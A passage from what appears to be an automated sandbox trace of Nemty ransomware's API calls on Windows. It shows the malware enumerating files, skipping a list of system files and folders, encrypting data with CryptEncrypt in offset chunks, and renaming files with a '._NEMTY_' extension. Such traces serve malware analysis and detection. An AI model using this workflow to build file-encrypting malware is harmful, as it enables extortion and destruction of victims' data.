returned 0x6340308 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.jpg._nemty_kgobjgd_")) returned 0 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.396] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f4b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color120.png", cAlternateFileName="")) returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2=".") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="..") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="...") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="windows") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="$RECYCLE.BIN") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="rsa") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="NTDETECT.COM") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="ntldr") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="MSDOS.SYS") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="IO.SYS") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="boot.ini") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="boot.ini") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="AUTOEXEC.BAT") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="ntuser.dat") returned 1 [0106.396] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="desktop.ini") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="CONFIG.SYS") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="RECYCLER") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="BOOTSECT.BAK") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="bootmgr") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="programdata") returned 1 [0106.397] lstrcmpiW (lpString1="wmpnss_color120.png", lpString2="appdata") returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.png", lpUsedDefaultChar=0x0) returned 19 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.png", lpUsedDefaultChar=0x0) returned 19 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.png", lpUsedDefaultChar=0x0) returned 19 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color120.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color120.png", lpUsedDefaultChar=0x0) returned 19 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.397] Sleep (dwMilliseconds=0x5) [0106.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf311c790, dwHighDateTime=0x1d561e7)) [0106.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf311c790, dwHighDateTime=0x1d561e7)) [0106.407] GetLastError () returned 0x5 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.407] GetLastError () returned 0x5 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.407] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.407] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="PtjOCYZ7xNBLL7ILk4NaPDjEdRuBWc39Y+TqXxcTWKHdzFHGaTBhl0ZeftnxB40f\r\nJPK3qaKRkYv26SqbZ0KvF1d8+WrH/yk3KjUpDKaF8GrCXFV+RJrdJIuT5LD5xFsa\r\nTKoBbZWCX1ab/iDBnHijmJoVZAwTGUn2vKrnnAkhW7b2IZ+c2lOjkEP8B2yxYTrh\r\nNezWIbswmElAuCQyOsrtzJ/fDsVYA2UHG6OaAql/7kOSmlD/FbomYR5ei4jwxqJ2\r\nWgu6Cfgyw6/x4BAXtB80Fwv7EFgRiXwHbR+GXR1tHm12fsDv/96zVeCz4Zxl9+1V\r\nyWQNFC1ic0Tw0Ct/OQSHxw==\r\n", pcchString=0x653ef9c) returned 1 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.407] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.407] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.417] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.514] CloseHandle (hObject=0xffffffff) returned 0 [0106.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color120.png._nemty_kgobjgd_")) returned 0 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.515] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", lpString2=".") returned 1 [0106.515] lstrcmpiW (lpString1="wmpnss_color32.bmp", 